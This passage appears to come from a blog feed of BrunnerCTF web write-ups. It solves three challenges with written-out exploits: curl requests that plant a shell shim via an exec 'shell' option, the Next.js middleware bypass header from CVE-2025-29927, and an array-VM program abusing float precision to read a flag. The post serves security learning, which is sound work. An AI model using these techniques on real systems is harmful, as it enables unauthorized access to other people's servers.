<p><code class="language-plaintext highlighter-rouge">/api/settings</code> does a deep merge of your JSON into <code class="language-plaintext highlighter-rouge">app.locals.settings</code>:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">deepMerge</span><span class="p">(</span><span class="nx">app</span><span class="p">.</span><span class="nx">locals</span><span class="p">.</span><span class="nx">settings</span><span class="p">,</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">);</span>
</code></pre></div></div>

<p>Later, /export uses those merged settings as options to child_process.exec:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">baseOpts</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">assign</span><span class="p">({},</span> <span class="nx">app</span><span class="p">.</span><span class="nx">locals</span><span class="p">.</span><span class="nx">settings</span><span class="p">.</span><span class="nx">exportOptions</span> <span class="o">||</span> <span class="p">{});</span>
<span class="kd">const</span> <span class="nx">envFromSettings</span> <span class="o">=</span> <span class="nx">baseOpts</span><span class="p">.</span><span class="nx">env</span> <span class="o">||</span> <span class="p">{};</span>      <span class="c1">// (they try to delete env earlier)</span>
<span class="kd">const</span> <span class="nx">env</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">assign</span><span class="p">({},</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">,</span> <span class="nx">envFromSettings</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">opts</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">assign</span><span class="p">({},</span> <span class="nx">baseOpts</span><span class="p">,</span> <span class="p">{</span> <span class="na">cwd</span><span class="p">:</span> <span class="nx">__dirname</span><span class="p">,</span> <span class="nx">env</span> <span class="p">});</span>
<span class="nx">exec</span><span class="p">(</span><span class="nx">cmd</span><span class="p">,</span> <span class="nx">opts</span><span class="p">,</span> <span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">stdout</span><span class="p">,</span> <span class="nx">stderr</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span> <span class="p">...</span> <span class="p">});</span>
</code></pre></div></div>

<p>they block <code class="language-plaintext highlighter-rouge">exportOptions.env</code> in <code class="language-plaintext highlighter-rouge">/api/settings</code>, but they don’t block <code class="language-plaintext highlighter-rouge">exportOptions.shell</code> (or other exec options like <code class="language-plaintext highlighter-rouge">uid</code>, <code class="language-plaintext highlighter-rouge">gid</code>, <code class="language-plaintext highlighter-rouge">timeout</code>, <code class="language-plaintext highlighter-rouge">maxBuffer</code>, etc.).</p>

<p><code class="language-plaintext highlighter-rouge">exec</code> will run your command through whatever shell you set in <code class="language-plaintext highlighter-rouge">opts.shell</code>. If we point <code class="language-plaintext highlighter-rouge">shell</code> to our own script, our script runs first and can print <code class="language-plaintext highlighter-rouge">/flag.txt</code> before delegating to a real shell.</p>

<p>therefore, let’s upload a shell and read the flag.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">-X</span> POST https://recipe-for-disaster-72bf042470e3a9aa.challs.brunnerne.xyz/api/note <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{
        "name": "brun1",
        "filename": "sh",
        "makeExecutable": true,
        "content": "#!/bin/sh\ncat /flag.txt\nexec /bin/sh \"$@\""
      }'</span>

</code></pre></div></div>

<p>get the server to use our shell as shim:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">-X</span> POST https://recipe-for-disaster-72bf042470e3a9aa.challs.brunnerne.xyz/api/settings <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{ "exportOptions": { "shell": "./data/brun1/sh" } }'</span>

</code></pre></div></div>

<p>run shim:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="s2">"https://recipe-for-disaster-72bf042470e3a9aa.challs.brunnerne.xyz/export?name=brun1"</span>
</code></pre></div></div>

<p>flag: <code class="language-plaintext highlighter-rouge">brunnerCTF{pr0t0typ3_p011u710n_0v3rfl0w1ng_7h3_0v3n}</code></p>

<h2 id="-epic-cake-battles-of-history-web-131-solves">&gt; EPIC CAKE BATTLES OF HISTORY!!! (Web, 131 solves)</h2>

<p>requests to <code class="language-plaintext highlighter-rouge">/admin</code> trigger a <code class="language-plaintext highlighter-rouge">middleware.ts</code> which redirects you back to <code class="language-plaintext highlighter-rouge">/</code> if you arent admin:</p>
<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="p">{</span> <span class="nx">NextResponse</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">next/server</span><span class="dl">'</span>
<span class="k">import</span> <span class="kd">type</span> <span class="p">{</span> <span class="nx">NextRequest</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">next/server</span><span class="dl">'</span>

<span class="c1">// This function can be marked `async` if using `await` inside</span>
<span class="k">export</span> <span class="kd">function</span> <span class="nx">middleware</span><span class="p">(</span><span class="nx">request</span><span class="p">:</span> <span class="nx">NextRequest</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// @ts-ignore</span>
    <span class="k">if</span><span class="p">(</span><span class="dl">"</span><span class="s2">CHAMPION</span><span class="dl">"</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">FOUND</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="nx">NextResponse</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="dl">'</span><span class="s1">/admin</span><span class="dl">'</span><span class="p">,</span> <span class="nx">request</span><span class="p">.</span><span class="nx">url</span><span class="p">))</span>
  <span class="k">return</span> <span class="nx">NextResponse</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">,</span> <span class="nx">request</span><span class="p">.</span><span class="nx">url</span><span class="p">))</span>
<span class="p">}</span>

<span class="c1">// See "Matching Paths" below to learn more</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">config</span> <span class="o">=</span> <span class="p">{</span>
  <span class="na">matcher</span><span class="p">:</span> <span class="dl">'</span><span class="s1">/admin/:path*</span><span class="dl">'</span><span class="p">,</span>
<span class="p">}</span>

</code></pre></div></div>

<p>which is effectively impossible to override because the check is hardcoded</p>

<p>for context, the next.js framework sometimes issues subrequests (e.g., prefetching or API calls triggered by middleware itself).</p>

<p>to avoid infinite loops (middleware calling itself repeatedly), Next.js uses an internal header:</p>

<p><code class="language-plaintext highlighter-rouge">x-middleware-subrequest</code></p>

<p>this header carries a colon-separated list of middleware names that have already been executed.</p>

<p>before running, <code class="language-plaintext highlighter-rouge">runMiddleware()</code>checks:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">subreq</span> <span class="o">=</span> <span class="nx">request</span><span class="p">.</span><span class="nx">headers</span><span class="p">[</span><span class="dl">"</span><span class="s2">x-middleware-subrequest</span><span class="dl">"</span><span class="p">];</span>
<span class="kd">const</span> <span class="nx">subrequests</span> <span class="o">=</span> <span class="k">typeof</span> <span class="nx">subreq</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">string</span><span class="dl">"</span> <span class="p">?</span> <span class="nx">subreq</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">:</span><span class="dl">"</span><span class="p">)</span> <span class="p">:</span> <span class="p">[];</span>

<span class="k">if</span> <span class="p">(</span><span class="nx">subrequests</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">middlewareInfo</span><span class="p">.</span><span class="nx">name</span><span class="p">))</span> <span class="p">{</span>
    <span class="c1">// Skip this middleware entirely</span>
    <span class="k">return</span> <span class="nx">NextResponse</span><span class="p">.</span><span class="nx">next</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<p>if the header says “middleware” already ran, Next.js skips it.</p>

<p>doing some googling to find any potential vulnerability yields this report on <a href="https://projectdiscovery.io/blog/nextjs-middleware-authorization-bypass">CVE-2025-29927 Next.js Middleware Authorization Bypass</a></p>

<p>quote:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The vulnerability in CVE-2025-29927 stems from a design flaw in how Next.js processes the x-middleware-subrequest header. This header was originally intended for internal use within the Next.js framework to prevent infinite middleware execution loops.When a Next.js application uses middleware, the runMiddleware function is called to process incoming requests. As part of its functionality, this function checks for the presence of the x-middleware-subrequest header. If this header exists and contains a specific value, the middleware execution is skipped entirely, and the request is forwarded directly to its original destination via NextResponse.next().
</code></pre></div></div>

<p>reading the dependencies:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"packages": { "": { "name": "epic-cake-battles", "version": "0.1.0", "dependencies": { "next": "15.2.2", "react": "^19.0.0", "react-dom": "^19.0.0" }, ...
</code></pre></div></div>

<p>referring to the above article to view the correct exploit (version <code class="language-plaintext highlighter-rouge">13.2.0</code> and later:)</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Alternatively, for projects using a /src directory structure:

x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:
</code></pre></div></div>

<p>literally just add the above as a header to the request and it will yield the flag.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">brunner{0th3llo-iz-b3st-cake}</code></p>

<h2 id="-arrayvm-web-39-solves">&gt; ArrayVM (Web, 39 solves)</h2>
<p>the website allows us to script in an array indexing-based programming language (that happens to be implemented in js)</p>

<p>there’s one real storage: <code class="language-plaintext highlighter-rouge">this.backing</code>, a plain Array (i.e., a sparse object with special behavior for non‑negative 32‑bit indices).</p>

<p>the flag is stashed at key -1:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">this</span><span class="p">.</span><span class="nx">backing</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">./flag.txt</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div></div>

<p>js has a language quirk where negative indexes are just string properties (“-1”), not elements. but <code class="language-plaintext highlighter-rouge">this.backing[-1]</code> still returns the value: property lookup works for any string key.</p>

<p>every ‘array’ in the VM is a slice of <code class="language-plaintext highlighter-rouge">this.backing</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>backing[B]         = size
backing[B + 1]     = elem[0]
backing[B + 2]     = elem[1]
...
</code></pre></div></div>

<p>addressing an element uses:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>B + idx + 1
</code></pre></div></div>

<p>and there’s a bounds check <code class="language-plaintext highlighter-rouge">idx &lt; size</code>. (notice how there’s no check that the final computed address is non‑negative.)</p>

<p>creating a new VM array chooses its base by walking past the previous one:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>newBacking = lastBacking + lastSize + 1;
</code></pre></div></div>

<p>so we have our exploit path: if we can make <code class="language-plaintext highlighter-rouge">lastSize</code> negative enough, <code class="language-plaintext highlighter-rouge">newBacking</code> becomes negative, and then choosing an <code class="language-plaintext highlighter-rouge">idx</code> can hit <code class="language-plaintext highlighter-rouge">-1</code> (the flag).</p>

<p>in js, all numbers are IEEE‑754 doubles (53 bits of integer precision). essentially, this means that:</p>
<ul>
  <li>
    <p>every integer is exactly representable up to <code class="language-plaintext highlighter-rouge">2^53</code> (= 9007199254740992).</p>
  </li>
  <li>
    <p>for numbers <code class="language-plaintext highlighter-rouge">≥ 2^53</code>, the spacing between representable integers becomes <code class="language-plaintext highlighter-rouge">2</code>.
So <code class="language-plaintext highlighter-rouge">2^53 + 1</code> rounds to <code class="language-plaintext highlighter-rouge">2^53</code>; the next representable is <code class="language-plaintext highlighter-rouge">2^53 + 2</code>.</p>
  </li>
</ul>

<p>two places in the VM add +1:</p>

<ul>
  <li>
    <p>when placing the next array: <code class="language-plaintext highlighter-rouge">newBacking = lastBacking + lastSize + 1</code></p>
  </li>
  <li>
    <p>when computing an element address: <code class="language-plaintext highlighter-rouge">B + idx + 1</code>.</p>
  </li>
</ul>

<p>if we force a base B to be exactly <code class="language-plaintext highlighter-rouge">2^53</code>, then <code class="language-plaintext highlighter-rouge">B + 1</code> rounds back to <code class="language-plaintext highlighter-rouge">B</code>, which means <code class="language-plaintext highlighter-rouge">elem[0]</code> aliases the header (which is at B). this gives us a header‑overwrite primitive: any write to <code class="language-plaintext highlighter-rouge">elem[0]</code> will write to the size field instead.</p>

<p>to get such a <code class="language-plaintext highlighter-rouge">B</code> we make the previous array’s size <code class="language-plaintext highlighter-rouge">2^53</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>newBacking = lastBacking + lastSize + 1
           = 0 + 2^53 + 1
</code></pre></div></div>

<p>once we can write to the size field of array #1 via its <code class="language-plaintext highlighter-rouge">elem[0]</code>, we set it to a large negative number. this will cause the next <code class="language-plaintext highlighter-rouge">NEW</code> to</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>B_next = B_alias + size_overwritten + 1
       = 2^53   + ( -2^53 - x ) + 1
       = -x + 1
</code></pre></div></div>

<p>we pick <code class="language-plaintext highlighter-rouge">x</code> to be <code class="language-plaintext highlighter-rouge">4</code>, so that <code class="language-plaintext highlighter-rouge">B_next</code> = <code class="language-plaintext highlighter-rouge">-3</code>. this is because if <code class="language-plaintext highlighter-rouge">x</code> were <code class="language-plaintext highlighter-rouge">2</code>, <code class="language-plaintext highlighter-rouge">B_next</code> = <code class="language-plaintext highlighter-rouge">-2 + 1</code> = <code class="language-plaintext highlighter-rouge">-1</code>, which places the next array’s header at <code class="language-plaintext highlighter-rouge">-1</code>, writing over the flag.</p>

<p>with <code class="language-plaintext highlighter-rouge">B_next</code> = <code class="language-plaintext highlighter-rouge">-3</code>, the header goes to <code class="language-plaintext highlighter-rouge">-3</code> (safe), and then <code class="language-plaintext highlighter-rouge">elem[1]</code> sits at <code class="language-plaintext highlighter-rouge">-3 + 1 + 1</code> = <code class="language-plaintext highlighter-rouge">-1</code>.</p>

<p>we can use <code class="language-plaintext highlighter-rouge">SUB</code> to compute negatives:</p>
<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="py">size1</span> <span class="p">=</span> <span class="s">0 - (2^53 + 4) = -2^53 - 4</span>
</code></pre></div></div>

<p>so the following VM program will spit out the flag:</p>
<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">NEW</span> <span class="mi">9007199254740992</span>

<span class="s">NEW</span> <span class="mi">1</span>

<span class="s">INIT</span> <span class="mi">0</span><span class="s">.0</span> <span class="mi">0</span>
<span class="s">INIT</span> <span class="mi">0</span><span class="s">.1</span> <span class="mi">9007199254740996</span>

<span class="c1"># aliasing bug:</span>
<span class="c1"># size1 = 0 - (2^53 + 4) = -9007199254740996</span>
<span class="s">SUB</span> <span class="mi">0</span><span class="s">.0</span> <span class="mi">0</span><span class="s">.1</span> <span class="mi">1</span><span class="s">.0</span>

<span class="c1"># B2 = (2^53) + (-2^53 - 4) + 1 = -3</span>
<span class="s">NEW</span> <span class="mi">2</span>

<span class="s">PRINT</span> <span class="mi">2</span><span class="s">.1</span>
</code></pre></div></div>

<p>the bounds check (<code class="language-plaintext highlighter-rouge">if (!(idx &lt; arrSize)) throw ...</code>) implemented doesn’t help here because this only violates logic, not the physical address. the VM never verifies that size is non‑negative or a safe integer.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">brunner{I_was_certain_using_arrays_was_a_good_idea}</code></p>]]></content><author><name>aidan</name><email>aidanvoidout@gmail.com</email></author><category term="jekyll" /><category term="update" /><summary type="html"><![CDATA[BrunnerCTF writeups and postmortem]]></summary></entry></feed>